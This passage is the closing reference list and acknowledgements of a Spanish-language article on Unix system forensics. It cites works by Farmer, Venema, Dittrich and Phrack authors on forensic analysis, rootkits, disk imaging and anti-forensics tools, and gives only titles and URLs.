[18] Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard (http://www.hp.com/tape/papers/perftune.html).

[19] Clase de Farmer & Wietse Venema sobre análisis forense de sistemas informáticos - forensics.tar.gz contiene 6 diapositivas PostScript (http://www.fish.com/security/forensics.html).

[20] Forensic Computer Analysis: Introducción a la Reconstrucción de eventos pasados, por Dan Farmer y Wietse Venema, Dr. Dobb's Journal, Septiembre 2000 (http://www.ddj.com/articles/2000/0009/0009f/0009f.htm).

[21] ¿Qué son los MACtimes?: Herramientas poderosas para bases de datos, por Dan Farmer, Dr. Dobb's Journal, Octubre 2000 (http://www.ddj.com/articles/2000/0010/0010f/0010f.htm).

[22] Strangers In the Night: Encontrar el objetivo del binario desconocido, por Wietse Venema, Dr. Dobb's Journal, Noviembre 2000 (http://www.ddj.com/articles/2000/0011/0011g/0011g.htm).

[23] "Root Kits" y ocultación de directorios después del break-in (http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq).

[24] Info.sec.radio segmentos de análisis forense (@15:45.0), Julio 10, 2000 (http://www.securityfocus.com/media/41).

[25] SecurityFocus - Entrevista con Jennifer Grannick (http://www.securityfocus.com/media/41).

[26] SecurityFocus - entrevista con Chad Davis (http://www.securityfocus.com/media/35).

[27] Anonymizing Unix Systems, por van Hauser, THC (http://thc.pimmel.com/files/thc/anonymous-unix.html).

[28] Federal Guidelines for Searching and Seizing Computers, Departamento de Justicia de EE. UU (http://www.usdoj.gov/criminal/cybercrime/searching.html).

[29] DD and Computer Forensics: Ejemplos de utilización de DD dentro de Unix para crear backups físicos, por Thomas Rude, CISSP, Agosto 2000 (http://www.crazytrain.com/dd.html).

[30] El kernel de GNU/Linux ofrece soporte para sistemas de ficheros loopback, siendo una técnica bastante común. Ver para más información Laptop-HOWTO (http://www.tldp.org/HOWTO/Laptop-HOWTO.html), Bootdisk-HOWTO (http://www.tldp.org/HOWTO/Bootdisk-HOWTO/), Loopback-Encrypted-Filesystem-HOWTO (http://www.tldp.org/HOWTO/Loopback-Encrypted-Filesystem-HOWTO.html).

[33] La información adicional puede ser obtenida a través de http://e2fsprogs.sourceforge.net.

[34] Brian Carrier "TCTUTILS"/"TASK" http://www.cerias.purdue.edu/homes/carrier/forensics/

[35] RuneFS - (http://www.activalink.com/data/runefs.tar.gz).

[36] TDT - (http://www.activalink.com/data/tdt.tar.gz).

[37] Phrack Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12 - (http://www.phrack-dont-give-a-shit-about-dmca.org/phrack/59/p59-0x06.txt).

Agradecimientos

Se agradece la colaboración directa así como indirecta de:

- Dan Farmer por su respuesta a las preguntas pesadas.
- Wietse Venema por su contribución a la tecnología de análisis forense de sistemas Unix.
- David Dittrich, el autor original del estudio.
- Scut del Equipo TESO
- The Grugq, uno de los editores de la revista Phrack, su conocimiento es la fuente que alimentó la creación de éste documento.

Copyleft